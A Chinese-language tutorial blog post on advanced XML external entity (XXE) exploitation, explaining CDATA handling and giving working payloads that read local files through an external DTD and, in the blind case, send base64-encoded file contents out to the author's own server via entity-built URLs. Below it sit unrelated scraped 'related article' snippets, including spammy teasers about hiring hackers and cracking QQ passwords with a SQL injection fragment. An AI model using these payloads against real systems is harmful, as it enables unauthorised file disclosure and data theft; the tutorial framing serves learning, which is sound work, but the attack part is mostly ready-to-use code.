XXE漏洞详解——进阶篇

访客4年前黑客工具1114

在XXE漏洞讲解——基础篇?中,XXE的基本原理还有简单的文件读取利用方式我们已经有了基本的了解,那么接下来就带来我们的XXE漏洞详解——进阶篇!

上篇我们本地搭建xxe漏洞环境尝试了读取system.ini文件,这是最基本的一种xxe漏洞利用方式,但是实战中往往会遇到很多的问题,也需要更多中多样的利用方式和技巧,本片就给大家一一介绍~

读取文件时有特殊符号

在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件

C: est.txt

内容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&ampxxe;</creds>

1607183441_5fcbac51be8a7f781bccd.png!small

可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符数据(Parsed Character Data)。

XML 解析器通常会解析 XML 文档中所有的文本。

当某个 XML 元素被解析时,其标签之间的文本也会被解析:

<message>此文本也会被解析</message>

解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器会把它分解为像这样的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。

关于 CDATA 部分的注释:

CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。

标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。

我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是还是读不出来,如下图:

1607183478_5fcbac76c64f080fb3a5d.png!small直接放正确的payload,然后再讲解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]>
<root>&ampall;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

1607183487_5fcbac7fa4f73085875de.png!small可以看到这个payload是可以成功读取文件的,对比两个payload

1607183499_5fcbac8b9b55d80810186.png!small


1607183507_5fcbac93835c218916471.png!small

两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

无回显xxe漏洞利用

现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。

思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:

<?xml version="1.0"?>
<!DOCTYPE message [ ? ?
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

%是%的html实体编码,因为在xml.dtd的实体中不能有%

实验如下图

1607183516_5fcbac9c89546b2fb236f.png!small

查看日志文件

1607183525_5fcbaca5ca6bd9c3dd452.png!small

这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。

以上就是本篇的所有内容了,学习了网上其他作者的讲解,我这里比较基础,但是也尽可能详细了,xxe漏洞还有许多其他的利用方式,放在一起害怕基础较弱的小伙伴消化不了,所以后面再出一篇最终篇来介绍xxe漏洞其他的利用方式好了,敬请期待~

相关文章

甘肃环县境内载30人大巴坠入农家院事故原因正在调查中:无人员伤亡

每日好文 【甘肃省载30人巴坠进农家乐 固原环县地区造成一路交通出行错乱致13人负伤】环县地区造成一路交通出行错乱今年10月28日十一点左右30分许,环县地区造成一路交通出行错乱。合水县道路运输有限...

铁树开花结果能吃吗(公园遇见铁树果,千万别吃)

  花花昨天看到有个新闻,园子里面的铁树罕见地结了好多的果子,但是掌管园艺的老园丁可吓得不轻,为啥呢?因为这铁树的果子被人摘走了30多个。倒不是心疼果子,主要是铁树的果子有毒,它不能吃啊!估计是有的路...

WPS文档怎么给标题加阴影?简单8步教你如何给标题加阴影

大家再写文本文档的情况下,有木有想过让自身的文本文档略微有点儿特点呢?实际上,我们在日常应用的全过程中,很有可能非常少想起这一点。当得用的情况下,就有点儿手足无措了。例如给文本设定色调、实际效果这些。...

黑客帝国观后感英文,找黑客帮我破解qq密码,黑客找qq号软件

CVE-2014-4114缝隙简析http://tiechemo.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOW...

手机被黑客植入木马能干什么(手机怎么会被植入木马)

手机被黑客植入木马能干什么(手机怎么会被植入木马)

本文导读目录: 1、手机被苹果手机被黑客入侵通讯录视频怎么办 2、手机木马病毒的主要目的 3、木马病毒对手机有伤害?? 4、如果手机中了病毒,被人恶意盗取信息,通过通讯录散布消息让其他人也...

黑客软件怎么使用手机上,模拟黑客游戏手机软件

黑客软件怎么使用手机上,模拟黑客游戏手机软件

一、软件怎么使用手机上黑客接单流程 1、黑客中国网找莫里斯蠕虫的目的是创造一个微妙、无害和广泛传播的过程。软件怎么使用手机上模拟游戏手机软件有时这群人被称为黑帽黑客。中国网软件怎么使用手机上XXX流程...